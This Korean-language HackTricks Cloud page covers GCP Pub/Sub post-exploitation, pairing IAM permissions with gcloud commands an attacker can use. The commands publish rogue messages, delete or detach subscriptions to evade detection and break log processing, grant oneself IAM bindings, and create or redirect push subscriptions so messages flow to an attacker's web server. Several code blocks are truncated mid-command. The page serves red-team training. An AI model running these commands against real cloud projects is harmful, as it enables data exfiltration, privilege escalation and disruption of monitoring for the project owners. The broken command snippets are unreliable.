GCP - Pub/Sub Post Exploitation
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Pub/Sub
Pub/Sub에 대한 자세한 정보는 다음 페이지를 확인하세요:
pubsub.topics.publish
토픽에 메시지를 게시합니다. 예상치 못한 데이터를 전송하고 예기치 못한 기능을 트리거하거나 취약점을 악용하는 데 유용합니다:
토픽에 메시지 게시
```bash # Publish a message in a topic gcloud pubsub topics publishpubsub.topics.detachSubscription
구독이 메시지를 받지 못하도록 방지하는 데 유용합니다. 탐지를 회피하기 위해 사용할 수 있습니다.
토픽에서 구독 분리
```bash gcloud pubsub topics detach-subscriptionpubsub.topics.delete
subscription이 메시지를 수신하지 못하게 막는 데 유용하며, 탐지를 피하기 위해 사용할 수 있습니다.
subscriptions가 연결되어 있어도 topic을 삭제할 수 있습니다.
topic 삭제
```bash gcloud pubsub topics deletepubsub.topics.update
이 권한을 사용해 토픽의 일부 설정을 변경하여 중단시킬 수 있습니다. 예: --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key…
pubsub.topics.setIamPolicy
자신에게 이전 공격들을 수행할 수 있는 권한을 부여하세요.
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)
웹 서버에서 모든 메시지를 가져오기:
메시지 수신을 위한 push subscription 생성
```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions create구독을 생성하고 이를 사용하여 pull messages:
Create pull subscription and retrieve messages
```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions createYou also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull
This command will wait for a message to be posted
</details>
### `pubsub.subscriptions.delete`
**구독 삭제**는 로그 처리 시스템을 중단시키는 등 유용할 수 있습니다:
<details>
<summary>구독 삭제</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
pubsub.subscriptions.update
이 권한을 사용해 메시지가 접근 가능한 위치(URL, Big Query table, Bucket)에 저장되도록 일부 설정을 변경하거나 단순히 이를 방해할 수 있다.
구독 엔드포인트 업데이트
```bash gcloud pubsub subscriptions update --push-endpointpubsub.subscriptions.setIamPolicy
앞서 언급한 공격들을 수행하는 데 필요한 권한을 자신에게 부여합니다.
pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)
schema를 topic에 연결하여 messages가 schema를 충족하지 못하게 만들어 topic이 중단되도록 합니다.
schemas가 없으면 새로 하나 생성해야 할 수도 있습니다.
schema 파일을 생성하고 topic에 연결
```json:schema.json { "namespace": "com.example", "type": "record", "name": "Person", "fields": [ { "name": "name", "type": "string" }, { "name": "age", "type": "int" } ] } ```# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
pubsub.schemas.delete
이것은 스키마를 삭제하면 스키마를 충족하지 않는 메시지를 보낼 수 있게 되는 것처럼 보일 수 있습니다. 하지만 스키마가 삭제되기 때문에 실제로 어떤 메시지도 해당 토픽에 들어가지 않습니다. 따라서 이것은 무의미:
스키마 삭제 (유용하지 않음)
```bash gcloud pubsub schemas deletepubsub.schemas.setIamPolicy
이전에 언급한 공격들을 수행하는 데 필요한 권한을 자신에게 부여합니다.
pubsub.snapshots.create, pubsub.snapshots.seek
이는 모든 unACKed 메시지의 스냅샷을 생성하여 구독(subscription)으로 다시 넣습니다. 공격자에게는 별로 유용하지 않지만, 예시는 다음과 같습니다:
스냅샷 생성 후 해당 위치로 되돌리기
```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ --snapshot=YOUR_SNAPSHOT_NAME ```Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud

